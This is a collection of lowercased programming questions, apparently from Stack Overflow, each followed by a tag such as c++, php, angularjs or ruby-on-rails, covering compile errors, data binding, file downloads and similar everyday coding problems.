struct fl has no member named sub <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  struct fl{       char sub[3] = { math   science   ict };     };  int main() {         int i;      struct fl floatp;      for (i = 0; i &lt; 3; ++i){             printf (  %s  floatp.sub[i]);         }      return 0; } </code></pre>   i am getting this error  struct fl has no member named sub  on the 11th line. but i do have a member named  sub . what am i doing wrong,c
rails and fat models  i am new to ror and one methodology i prefer in other languages is the ability to define a fat model. looking at other examples  the idea seems pretty straight forward  but i am having a bit of an issue with implementing the methodology.    i have a very simple model that i have created for testing:   <pre><code>class account::user &lt; activerecord::base #validates_presense_of :username  :first_name  :last_name  :instance_id  :user_type  :is_active #validates_uniqueness_of :username    def self.all_by_user_type(user_type)   p user_type end end </code></pre>   when i attempt to use the method all_by_user_type i get the exception below. any help with this is greatly appreciated.   <blockquote>    irb(main):002:0> u.all_by_user_type(1)   nomethoderror: undefined method <code>all_by_user_type  for #&lt;account::user:0x7ffe60baebe8&gt;           from /usr/lib/ruby/gems/1.8/gems/activemodel-3.1.3/lib/active_model/attribute_methods.rb:385:in</code>method_missing            from /usr/lib/ruby/gems/1.8/gems/activerecord-3.1.3/lib/active_record/attribute_methods.rb:60:in `method_missing            from (irb):2           from :0  </blockquote>,ruby-on-rails
how to find class of an object   i have a method named <code>a(object senderobject)</code> which receives senderobjectas parameter  which is nothing but object of sender. at runtime   i am not sure which class would call this method but what i need is not to just get from which class is it (using gettype) but also to cast it to its real class type and assign to another same class object.    let me give you an example to clear my question. suppose if the senderobject is from class a  i need to do:   <pre><code>a objanother = (a)senderobject. </code></pre>   suppose if the senderobject is from class b  i need to do:   <pre><code>b objanother = (b)senderobject. </code></pre>   may i know how to do it  i need dynamic method for the same.,c#
how to run get the notification based on x y z axis values   i am developing an application  in that i want to get the notification based on (x y z) axis values. but the main problem is how to get the (x y z) values when the application is in sleeping mode  so tell me how to get that values in the sleeping mode <br> please give me any suggestions.,iphone
angularjs binding dropdown using ng-options  i have looked at the angular documentation <a href= https://docs.angularjs.org/api/ng/directive/ngoptions  rel= nofollow >https://docs.angularjs.org/api/ng/directive/ngoptions</a> but still can t figure this one out.    i have a list of sexes that get bound to a select like this:   <pre><code>            $scope.sexes = jquery.grep(formdata  function(a) {                 return (a.category ==  sex );             }); </code></pre>   the json for the sex list looks like this:   <pre><code>            2: object             alternatecode: null             category:  sex              code1:  f              codeid: 60002             description:  female              lastmodifiedby:                lastmodifieddate:  1900-01-01t00:00:00              subcategory: null </code></pre>   the member object that should make the select choice has a property on it <strong>sex:m</strong>.  the problem is when i try to bind the select it will populate the list correctly but will not select the option i need:   <pre><code>            &lt;select name= sex  id= sex  class= form-control                      ng-model= editablemember.sex                      ng-options= s.sex as s.description for s in sexes track by s.code1  &gt;&lt;/select&gt; </code></pre>   any help would be greatly appreciated,angularjs
a bug in win7 about asp.net download file to client browser   let me say:    click the first link pop up the save as box then click cancel。next     click the second link pop up the save as box then click cancel。next     click the third  link pop up the save as box then click cancel。    at the moment the pop up box do not show and the page same as busying!    the condition just in win7 . in xp no problem.    sorry for my bad english! index.aspx:   <pre><code>&lt;a href= showfile.aspx fileid=1  &gt;download&lt;/a&gt; &lt;a href= showfile.aspx fileid=2  &gt;download&lt;/a&gt; &lt;a href= showfile.aspx fileid=3 &gt;download&lt;/a&gt; &lt;a href= showfile.aspx fileid=4  &gt;download&lt;/a&gt; </code></pre>   showfile.aspx.cs:   <pre><code>protected void page_load(object sender  eventargs e)         {              page.response.clear();             bool success = responsefile(page.request  page.response   1.doc   @ d:\1.doc   1024000);             if (!success)                 response.write( dowload error！ );             page.response.end();         }         public static bool responsefile(httprequest _request  httpresponse _response  string _filename  string _fullpath  long _speed)         {             try             {                 filestream myfile = new filestream(_fullpath  filemode.open  fileaccess.read  fileshare.readwrite);                 binaryreader br = new binaryreader(myfile);                 try                 {                     _response.addheader( accept-ranges    bytes );                     _response.buffer = false;                     long filelength = myfile.length;                     long startbytes = 0;                      double pack = 10240; //10k bytes                     //int sleep = 200;   //                     int sleep = (int)math.floor(1000 * pack / _speed) + 1;                     if (_request.headers[ range ] != null)                     {                         _response.statuscode = 206;                         string[] range = _request.headers[ range ].split(new char[] {  =    -  });                         startbytes = convert.toint64(range[1]);                     }                     _response.addheader( content-length   (filelength - startbytes).tostring());                     if (startbytes != 0)                     {                         //response.addheader( content-range   string.format(  bytes {0}-{1}/{2}   startbytes  filelength-1  filelength));                     }                     _response.addheader( connection    keep-alive );                     _response.contenttype =  application/octet-stream ;                     _response.addheader( content-disposition    attachment;filename=  + httputility.urlencode(_filename  system.text.encoding.utf8));                      br.basestream.seek(startbytes  seekorigin.begin);                     int maxcount = (int)math.floor((filelength - startbytes) / pack) + 1;                      for (int i = 0; i &lt; maxcount; i++)                     {                         if (_response.isclientconnected)                         {                             _response.binarywrite(br.readbytes(int.parse(pack.tostring())));                             thread.sleep(sleep);                         }                         else                         {                             i = maxcount;                         }                     }                 }                 catch                 {                     return false;                 }                 finally                 {                     br.close();                      myfile.close();                 }             }             catch             {                 return false;             }             return true;         } </code></pre>,asp.net
exception code: 0xe0434f4d  i got the following error while trying to run windows application: faulting application name: cribbagedemo.exe  version: 1.0.0.0  time stamp: 0x4f685fe3 faulting module name: kernelbase.dll  version: 6.1.7600.16850  time stamp: 0x4e211da1 exception code: 0xe0434f4d      more error information::::     <pre><code>&lt;event xmlns= http://schemas.microsoft.com/win/2004/08/events/event &gt; &lt;system&gt; &lt;provider name= application error  /&gt;  &lt;eventid qualifiers= 0 &gt;1000&lt;/eventid&gt; &lt;level&gt;2&lt;/level&gt;  &lt;task&gt;100&lt;/task&gt;  &lt;keywords&gt;0x80000000000000&lt;/keywords&gt;  &lt;timecreated systemtime= 2012-03-20t10:47:40.000000000z  /&gt;  &lt;eventrecordid&gt;4148&lt;/eventrecordid&gt;  &lt;channel&gt;application&lt;/channel&gt;  &lt;computer&gt;mayank-pc&lt;/computer&gt;  &lt;security /&gt;  &lt;/system&gt; &lt;eventdata&gt; &lt;data&gt;cribbagedemo.exe&lt;/data&gt;  &lt;data&gt;1.0.0.0&lt;/data&gt;  &lt;data&gt;4f685fe3&lt;/data&gt;  &lt;data&gt;kernelbase.dll&lt;/data&gt;  &lt;data&gt;6.1.7600.16850&lt;/data&gt;  &lt;data&gt;4e211da1&lt;/data&gt;  &lt;data&gt;e0434f4d&lt;/data&gt;  &lt;data&gt;000000000000a88d&lt;/data&gt;  &lt;/eventdata&gt; &lt;/event&gt; </code></pre>   when i am running my application application crashes ....not able to get logs also...,.net
c++ difference between inline anonymous instances and named instances  in a logging context  i would like to use a temporary instance of a utility class to collect some output  and use the destructor to dispose of the collected output. for example  printing to standard output as below.    i am noticing behavior differences depending whether the utility instance is constructed as an inline  anonymous instance as compared with a named automatic instance.    the named instances result in expected behavior and output.  the inline instances have difficulty with the first insertion operation  apparently only working on operands which have simple conversions to int.    what is the difference between instances used in these different ways    <pre><code>#include &lt;string&gt; #include &lt;sstream&gt; #include &lt;iostream&gt;  class util { public:     std::ostringstream m_os;      util() {}     ~util() { std::cout &lt;&lt; m_os.str() &lt;&lt; std::endl;} };    int main (void) { // ----------- using temporary anonymous instance -      //  output does not match expected  and the first insertion seems to     //  only be able to handle instances that can be converted to int.      // following prints  97key=val   but expect  akey=val      (util()).m_os &lt;&lt; char( a ) &lt;&lt; std::string( key ) &lt;&lt;  =  &lt;&lt; std::string( val );      // following prints  0x80491eakey=val   but expect  plain old c string key=val      (util()).m_os &lt;&lt;  plain old c string   &lt;&lt; std::string( key ) &lt;&lt;  =  &lt;&lt; std::string( val );      // following results in syntax error     // error: no match for ‘operator&lt;&lt;’ in ‘util().util::m_os &lt;&lt;     (util()).m_os &lt;&lt; std::string( key ) &lt;&lt;  =  &lt;&lt; std::string( val );   // ----------- using named instance - output matches expected      // block results in print  akey=val      {         util inst;         inst.m_os  &lt;&lt; char( a ) &lt;&lt; std::string( key ) &lt;&lt;  =  &lt;&lt; std::string( val );     }      // block results in print  plain old c string key=val      {         util inst;         inst.m_os  &lt;&lt;  plain old c string   &lt;&lt; std::string( key ) &lt;&lt;  =  &lt;&lt; std::string( val );     }      // block results in print  key=val      {         util inst;         inst.m_os  &lt;&lt; std::string( key ) &lt;&lt;  =  &lt;&lt; std::string( val );     }      return 0; } </code></pre>,c++
how do you set the message body for a post request in a rails test   i am trying to set the post body to an arbitrary string in my integration test. my code:   <pre><code>@request.env[ raw_post_data ] =  testing 1 2 3  post  /receiver  </code></pre>   i am supposed to see  testing 1 2 3  in the controller when i do a:   <pre><code>foo = request.body.read </code></pre>   but  request  yields nil. does anyone know how to make the rails integration test pass  testing 1 2 3  to the raw message body,ruby-on-rails
how do i put some chars into a string object allocated previously   why can t i strcpy some chars to a  string  object variable allocated as a part of structure      <pre><code>struct person {     string firstname;     string lastname;     int age;     char grade; };  int main() {     person * pupil = new person;     char temp[] =  test ;     strcpy(pupil-&gt;firstname  temp); // this is invalid  why       return 0; } </code></pre>,c++
initialize a controller inside a template that is loaded via directive   get response   <pre><code>&lt;section ng-controller= bookingcontroller &gt;&lt;/section&gt; </code></pre>   directive   <pre><code>myapp.directive  loadthing   ($rootscope  $compile) -&gt;     return {         restrict:  ae           link: (scope  element  attrs) -&gt;             $.get base_url +  /load/template/  + attrs.loadthing  (response) -&gt;                 element.html(response)                 $compile(element)     } </code></pre>   i m loading a template with ajax that has an ng-controller declared in it  but the controller is not being initialized.    what am i doing wrong here,angularjs
how can i stop messages that are not ready to be processed from entering this loop in the doit() method   when i set bpayrequestlist.size=maxmessagestoselect 1.e 20000  even messages which are not ready to be processed will enter the loop and it will turn into an infinite loop. how can i stop messages that are not ready to be processed from entering this loop this is a banking system where messages like mt103 are being sent as a request by the customer. so those messages have to be processsed. i am encountering a problem in the while condition: <code>while (bpayrequestslist!=null &amp;&amp; bpayrequestslist.size() == maxmessagestoselect);</code>:   <pre><code>public class paymentrequestplugin implements iplugin     {         bpaydeliveryservice bpaydeliveryservice = bpaydeliveryservice.instance();         private final int oracle_max_in_elements = 1000;         private static final int max_select_default_value = 20000;         private int maxmessagestoselect = max_select_default_value;                     private theme payment_request_plugin = new theme( payment_request_plugin );         kundenzahlung kuza = null;         list&lt;long&gt; kuzalist = new arraylist&lt;long&gt;();         list&lt;long&gt; updatedbpayrequests = new arraylist&lt;long&gt;();         private bpaydeliveryservice bpay = bpaydeliveryservice.instance();           @override         public void doit() throws pluginexception         {             list&lt;bpaypaymentrequestdata&gt; bpayrequestslist = null;             trace.trace(payment_request_plugin   paymentrequestplugin doit() );             do             {                 try                 {                     bpayrequestslist = bpay.getpaymentrequestpending(maxmessagestoselect);                     int lindex = 0;                     int uindex = 0;                     while (uindex &lt; bpayrequestslist.size())                     {                         uindex = uindex + oracle_max_in_elements;                         if (uindex &gt; bpayrequestslist.size())                         {                             uindex = bpayrequestslist.size();                         }                         list&lt;bpaypaymentrequestdata&gt; bpayrequestslistatonce = bpayrequestslist.sublist(lindex  uindex);                         doatonce(bpayrequestslistatonce);                         lindex = uindex;                     }                 }                 catch (pluginexception pe)                 {                    pe.notifyevent();                                }                 catch (mvservicenotavailableexception e)                 {                     e.printstacktrace();                 }                 catch (exception e)                 {                     e.printstacktrace();                 }             }             while (bpayrequestslist!=null &amp;&amp; bpayrequestslist.size() == maxmessagestoselect);          } </code></pre>,java
using exit(0); in iphone app  will the application get rejected if we use exit(0); in our application,iphone
cannot use jquery selector on cloned items  is this normal    <pre><code>// put testimonials in slides         var testimonialels = $( #block-testimonials ).children();         var testimonialcache = testimonialels.clone();         //testimonialels.remove();         var testimonials = [];          console.dir(testimonialcache.siblings( article ).not( .featured .featured-wide ));         console.dir(testimonialels.siblings( article ).not( .featured .featured-wide )); </code></pre>   testimonialels works testimonialcache returns 0.    i cannot use jquery selector on cloned item     <a href= http://jsfiddle.net/murey/2/  rel= nofollow >http://jsfiddle.net/murey/2/</a>,jquery
replace c:\ with file:\\\c| using php  i have the local file path as c:\new folder\pdf\today\k.pdf  i want to replace the c:\ with file:\\c|    i tried <code>str_replace(      )</code> but i get error due to the slash  no stripslash will not work.    thanks jean,php
percent from decimal  php  trying to convert this <code> 0.274509817 </code> to a nice precentage like <code>27%</code>    the string is a dynamic value from an api.,php
split string into different variables instead of array in python <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/436599/python-split-string >python split string</a>    </blockquote>     is possible to directly split string into variables in one line  instead of using two lines. i m sure that split would have two elements. two lines example:   <pre><code>mystring =  anonym anonymous  a = mystring.split() firstname lastname = a[0] a[1] </code></pre>,python
implementation of fmod function  how is the <code>fmod</code> function implemented     i tried the following:   <pre><code>#include &lt;stdio.h&gt; #include &lt;math.h&gt;  float floatmod(float a  float b) {   return (a/b - floor(a/b)); }  int main() {   printf( %f\n   fmod(18.5 4.2));   printf( %f\n   floatmod(18.5 4.2)); } </code></pre>   but the output is not the same...,c
why does c have both . and -> for addressing struct members  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/13366083/why-does-the-arrow-operator-in-c-exist >why does the arrow (-&gt;) operator in c exist </a>    </blockquote>     why does c have both <em>.</em> and <em>-></em> for addressing struct members     is it possible to have such modified language syntax  where we can take <em>p</em> as a pointer to struct and get a struct member s value just as <em>p.value</em>,c
why do i need to write  javascript:  before a function name   if i want to use an external javascipt function like  functionname()   see the example below:   <pre><code>&lt;from onsubmit= javascript: funtionname()  &gt; &lt;/form&gt; </code></pre>   why do i need sometimes to write javascript: before the function name,javascript
set input value after option is set  i have option and input field:   <pre><code>&lt;div data-ng-repeat= person in persons &gt; &lt;select ng-model= person.username  ng-options= item as item.username for item in usernames  ng-change= fillinput() &gt;&lt;/select&gt; &lt;input type= text  ng-model= person.house  readonly=   required=  &gt; &lt;div ng-if= person.username &gt;full selected user info : {{ person.username | json}}&lt;/div&gt; &lt;/div&gt; </code></pre>   i want to set input variable every time option is chosen. here is <a href= http://jsfiddle.net/xr82a1gl/6/  rel= nofollow noreferrer >fiddle</a>. it works fine if i remove <code>data-ng-repeat= person in persons </code> but i need to be able to add few option fields.,angularjs
python: trouble with popen filenotfounderror: [winerror 2]  i ve search a while and still can not figure it out... here s part of my code that went wrong.   <pre><code>import subprocess as sp import os cmd_args = [] cmd_args.append( start  ) cmd_args.append( /wait  ) cmd_args.append(os.path.join(dirpath filename)) print(cmd_args) child = sp.popen(cmd_args) </code></pre>   and the command prompt through out this.   <pre><code>[ start     /wait     c:\\users\\xxx\\desktop\\directory\\myexecutable.exe ] traceback (most recent call last):   file  installall.py   line 89  in &lt;module&gt;     child = sp.popen(cmd_args)   file  c:\python34\lib\subprocess.py   line 859  in __init__     restore_signals  start_new_session)   file  c:\python34\lib\subprocess.py   line 1114  in _execute_child startupinfo) filenotfounderror: [winerror 2] </code></pre>   it looks like the filepath is wrong with 2 backslashes.    i know if i do    <pre><code>print(os.path.join(dirpath filename)) </code></pre>   it ll return    <pre><code>c:\users\xxx\desktop\directory\myexecutable.exe </code></pre>   i m sure the file is there.  how can i debug this,python
configuration settings strategy  in a cms i ve developed in php  i have configuration settings. they are kept in constants. i chose this approach because constants always have global scope  are easy to see in code when following the all caps convention  and can t be accidentally overwritten. it is also my understanding that references to constants are very efficient; is that true .    there are two subsets of these constants. some are hard-coded because they have to do with my code or security. others are stored in a settings table (mysql) and on initialziation are read into constants.    i m concerned that the number of these constants is rising and that i might have a conflict with a third-party php module that i use in the future.    i m wondering if there is better way to handle such settings.    the main idea i had was to create one global variable (e.g.  $settings)  an associative (key-value) array that would correspond one-to-one with the constants i now have. thus instead of    <pre><code> define( my_setting   setting value ); </code></pre>   i would have   <pre><code> $setting[ my_setting ] =  setting value ; </code></pre>   there are two ways to access this  of course. the simplest is to reference the $setting array directly  which would require a global statement in every function that accessed settings (and that s at least a majority of them). the other way is to have a single function (e.g.  setting( my_setting)) that would reference the global array to return the value. both are syntactically compact although not as compact as constants.     the final thought i had was to add a constant prefix to every constant in my system. my_setting would become xy_my_setting. this at least reduces the risk of collision.    are there other approaches that you would recommend  any comments about what i ve done so far     thanks.    additional info: i decided to run a quick performance test of four methods of access. results (numbers shown are relative measures):   <ul> <li>constants: 32</li> <li>direct reference to associative array: 29</li> <li>function call to access associative array: 91</li> <li>get method for class: 103</li> </ul>   clearly the overhead of dealing with a function or method is high and the difference between constants and array references is negligible.,php
running .net 1.1 application on .net 3.5  i am having windows application using remoting  developed in .net 1.1. now i want to upgrade the application to .net 3.5. the way i supposed to do this is by converting the code of 1.1 to 3.5 using visual studio 2008 and then compile that code using vs 2008 and deploy the application on .net 3.5 framework. the questions i am having related to this are:   <ol> <li>is there any benefit of conervting the .net 1.1 application to .net 3.5</li> <li>is there any benefit in performance of application</li> <li>is it going to benefit me  as microsoft has stopped support for .net 1.1</li> </ol>   any other benefits  what are the issues going to face in this activity,.net
why do i have to escape double quotes in my string surrounded by single quotes   i have a variable which i set to an html tag (drop down menu):   <pre><code>$weapon_secondary =  &lt;select name= weapon  class= dropdown &gt; &lt;option&gt;option 1&lt;/option&gt; &lt;option&gt;option 2&lt;/option&gt; &lt;/select&gt;  </code></pre>   running my php file gives me    parse error: syntax error  unexpected  weapon  (t_string) in c:\web\submit_build.php on line 437    as soon as i escape the double quotes  the parser works just fine. i thought strings in single quotes were taken  as-is   this code works just fine:   <pre><code>$weapon_secondary =  &lt;select name=\ weapon\  class=\ dropdown\ &gt; &lt;option&gt;option 1&lt;/option&gt; &lt;option&gt;option 2&lt;/option&gt; &lt;/select&gt;  </code></pre>   why do i have to escape double quotes within single ones,php
how can i block url adress in devise (ruby on rails)  i blocked display links on the show page:     <pre><code>&lt;% if @post.user == current_user %&gt;   links &lt;%end%&gt; </code></pre>   but i can t block url adress for unprivileged users:   <pre><code>http://localhost:3000/posts/1/edit </code></pre>   what can i do,ruby-on-rails
anonymous types based in interface  can i create anonymous implementations of an interface   in a way similar to the way    <pre><code>delegate() { // type impl here   but not implementing any interface} </code></pre>   something on the lines of    <pre><code>new iinterface() { // interface methods impl here } </code></pre>   the situations where i see them to be useful are for specifying method parameters which are interface types  and where creating a class type is too much code.    for example   consider like this :   <pre><code>    public void runtest()     {         cleanup(delegate() { return  hello from anonymous type ; });     }      private void cleanup(getstring obj)     {         console.writeline( str from delegate   + obj());     }      delegate string getstring(); </code></pre>   how would this be achieved if in the above code   the method cleanup had an interface as a parameter   without writing a class definition   ( i think java allows expressions like new interface() ... ),c#
autocomplete textbox in asp.net webservice  i use master page and a script to open a popup window. this popup window has one textbox. i add an ajax autocomplete extender in the textbox. it runs and gets the values and i check the breakpoint  but it doesn t display the autovalues in the textbox. how can i solve this problem     my code:   <pre><code>&lt;ajaxtoolkit:autocompleteextender id= acesearch  runat= server  targetcontrolid= itemnametext  behaviorid= autocompleteex  minimumprefixlength= 1  enablecaching= true  completionsetcount= 5  completioninterval= 100  servicemethod= getcompletionlist  servicepath= cloudlistservice.asmx &gt;   &lt;/ajaxtoolkit:autocompleteextender&gt;  </code></pre>,asp.net
is it possible to develop apps for ios with ipod   i develop games for android  but now i want to try the ios platform. actually  i have mac mini  but i haven t enought money to buy iphone  so i think about buying ipod touch instead. is it possible to develop games (unity engine) using ipod  what about games performance  sorry if i ask something stupid  i never developed for ios before  thanks!,ios
"how to change text location   i an working on my tutorial project:    i have this code:    <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>// code goes here
 angular.module( switchdemo   []).controller( democontroller   function($scope){
   
   $scope.init = function(){
     $scope.status = true;
   }
   
 
     $scope.changestatus = function(){
     $scope.status = !$scope.status;
   }
 })</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>/* styles go here */
 
 .active  .inactive {font-size:40px;cursor:pointer;}
 .active  .inactive {font-size:40px;cursor:pointer;}
 i.active { color: #5cb85c}
 i.inactive {color: #d9534f}</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 
 &lt;head&gt;
   &lt;link data-require= bootstrap@*  data-semver= 3.2.0  rel= stylesheet  href= https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.css  /&gt;
     &lt;link href= //cdnjs.cloudflare.com/ajax/libs/font-awesome/4.2.0/css/font-awesome.min.css  rel= stylesheet  /&gt;
   &lt;script data-require= angular.js@*  data-semver= 1.3.6  src= https://code.angularjs.org/1.3.6/angular.js &gt;&lt;/script&gt;
   &lt;script data-require= jquery@*  data-semver= 2.1.1  src= //cdnjs.cloudflare.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
   &lt;link rel= stylesheet  href= style.css  /&gt;
   &lt;script src= script.js &gt;&lt;/script&gt;
 &lt;/head&gt;
 
 &lt;body ng-app= switchdemo &gt;
 
   &lt;div ng-controller= democontroller  ng-init= init() &gt;
     &lt;div class= well &gt;
 
       &lt;i class= fa fa-toggle-on active  ng-if= status == true  ng-click= changestatus(); &gt;&lt;/i&gt;
       &lt;i class= fa fa-toggle-on fa-rotate-180 inactive  ng-if= status == false  ng-click= changestatus(); &gt;&lt;/i&gt;
  &lt;h5&gt;dummy! &lt;/h5&gt;
     &lt;/div&gt;
     &lt;pre&gt;{{ status }}&lt;/pre&gt;
   &lt;/div&gt;
 &lt;/body&gt;
 
 &lt;/html&gt;</code></pre>
 </div>
 </div>
     how can i make dummy! word to be on the same line with on/off switch from the right.    like this:    <a href= https://i.stack.imgur.com/hept8.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/hept8.png  alt= enter image description here ></a>    thank you in advance.",css
multiple definition of _start  error when using -wall instead of -o  my code compiles and runs just fine using <code>g++ -o pa1.out pa1.cpp</code> but when i use <code>g++ -wall pa1.out pa1.cpp</code> a bunch of errors pop up. i only have one main function and the code is in its own project    these are all the errors i m getting:   <pre><code>g++ -wall pa1.out pa1.cpp pa1.out: in function `_start : (.text+0x0): multiple definition of `_start  /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 0 has invalid symbol index 11 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 1 has invalid symbol index 12 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 2 has invalid symbol index 2 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 3 has invalid symbol index 2 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 4 has invalid symbol index 11 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 5 has invalid symbol index 13 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 6 has invalid symbol index 13 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 7 has invalid symbol index 13 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 8 has invalid symbol index 12 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 9 has invalid symbol index 13 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 10 has invalid symbol index 13 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 11 has invalid symbol index 13 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 12 has invalid symbol index 13 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 13 has invalid symbol index 13 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 14 has invalid symbol index 13 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 15 has invalid symbol index 13 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 16 has invalid symbol index 13 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 17 has invalid symbol index 13 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 18 has invalid symbol index 13 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_info): relocation 19 has invalid symbol index 21 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crt1.o(.debug_line): relocation 0 has invalid symbol index 2 /usr/lib/x86_64-linux-gnu/crt1.o:/build/buildd/eglibc-2.19/csu/../sysdeps/x86_64/start.s:118: first defined here pa1.out: in function `_fini : (.fini+0x0): multiple definition of `_fini  /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crti.o(.debug_info): relocation 0 has invalid symbol index 7 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crti.o(.debug_info): relocation 1 has invalid symbol index 8 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crti.o(.debug_info): relocation 2 has invalid symbol index 9 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crti.o(.debug_ranges): relocation 0 has invalid symbol index 4 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crti.o(.debug_ranges): relocation 1 has invalid symbol index 4 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crti.o(.debug_ranges): relocation 2 has invalid symbol index 5 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crti.o(.debug_ranges): relocation 3 has invalid symbol index 5 /usr/lib/x86_64-linux-gnu/crti.o:(.fini+0x0): first defined here pa1.out:(.rodata+0x0): multiple definition of `_io_stdin_used  /usr/lib/x86_64-linux-gnu/crt1.o:(.rodata.cst4+0x0): first defined here pa1.out: in function `data_start : (.data+0x0): multiple definition of `__data_start  /usr/lib/x86_64-linux-gnu/crt1.o:(.data+0x0): first defined here pa1.out: in function `data_start : (.data+0x8): multiple definition of `__dso_handle  /usr/local/google/home/haining/gcc-5.2/lib/gcc/x86_64-unknown-linux-gnu/5.2.0/crtbegin.o:(.data+0x0): first defined here pa1.out: in function `_init : (.init+0x0): multiple definition of `_init  /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crti.o(.debug_line): relocation 0 has invalid symbol index 4 /usr/bin/ld: /usr/lib/debug/usr/lib/x86_64-linux-gnu/crti.o(.debug_line): relocation 1 has invalid symbol index 5 /usr/lib/x86_64-linux-gnu/crti.o:/build/buildd/eglibc-2.19/csu/../sysdeps/x86_64/crti.s:64: first defined here /tmp/ccfeyucw.o: in function `main : pa1.cpp:(.text+0x0): multiple definition of `main  pa1.out:(.text+0xf6): first defined here /usr/local/google/home/haining/gcc-5.2/lib/gcc/x86_64-unknown-linux-gnu/5.2.0/crtend.o:(.tm_clone_table+0x0): multiple definition of `__tmc_end__  pa1.out:(.data+0x10): first defined here /usr/bin/ld: error in pa1.out(.eh_frame); no .eh_frame_hdr table will be created. collect2: error: ld returned 1 exit status </code></pre>   this occurs with a minimal example:   <pre><code>int main() { } </code></pre>,c++
how to initialize progressdialog in custom adapter  i am trying to use asunctask in custom adapter. when i tried to use   <pre><code>class updateproductvarianttask extends asynctask&lt;string  string  void&gt; {      private progressdialog progressdialog = new progressdialog(context);     string result =   ;      protected void onpreexecute() {         progressdialog.setcancelable(false);         progressdialog.setmessage( please wait..... );         progressdialog.show();         progressdialog.setoncancellistener(new dialoginterface.oncancellistener() {             public void oncancel(dialoginterface arg0) {                 updateproductvarianttask.this.cancel(true);             }         });     } } </code></pre>   i am getting this error:   <pre><code>android.view.windowmanager$badtokenexception: unable to add window -- token null is not for an application </code></pre>   in line progressdialog.show();    how to fix this error,android
how to get image type in phasset(png or jpg)   in ios8 and later  i get images at this code:   <pre><code>    phfetchoptions *option = [[phfetchoptions alloc] init];     option.sortdescriptors = @[[nssortdescriptor sortdescriptorwithkey:@ creationdate  ascending:no]];     phfetchresult *result = [phasset fetchassetsinassetcollection:_collection options:option];      [result enumerateobjectsusingblock:^(id  _nonnull obj  nsuinteger idx  bool * _nonnull stop) {         if (((phasset *)obj).mediatype == phassetmediatypeimage) {              phcachingimagemanager *imagemanager = [[phcachingimagemanager alloc] init];             phasset *asset = obj;             phimagerequestoptions * options = [[phimagerequestoptions alloc] init];             options.networkaccessallowed = yes;             options.synchronous = yes;               [imagemanager requestimagedataforasset:asset options:options resulthandler:^(nsdata * _nullable imagedata  nsstring * _nullable datauti  uiimageorientation orientation  nsdictionary * _nullable info) {                 /*******/                 /* now i get image type in here with imagedate*/                 /* i just want jpg type image*/             }];         }     }]; </code></pre>   but in this code  i need a lot of time  so how can i get image type with phasset and don t use requestimagedata,ios
angular js retreiving and displaying data from backend to front end  i am working on app where i have 2 subdirectories inside public namely admin and core. admin is for admin users where we need to login and add edit delete posts while in core we have pages which a public user or visitors can see. now what i want is that i have a crud functionality implement in admin. i have controller  routes and services. but what i don t know is that how can i display the data in core views for public users i needs steps to to re-use some of the code from admin and retrieve and display data in core views.     here is a link to the directory structure: <a href= http://take.ms/ldawk  rel= nofollow noreferrer >http://take.ms/ldawk</a>,angularjs
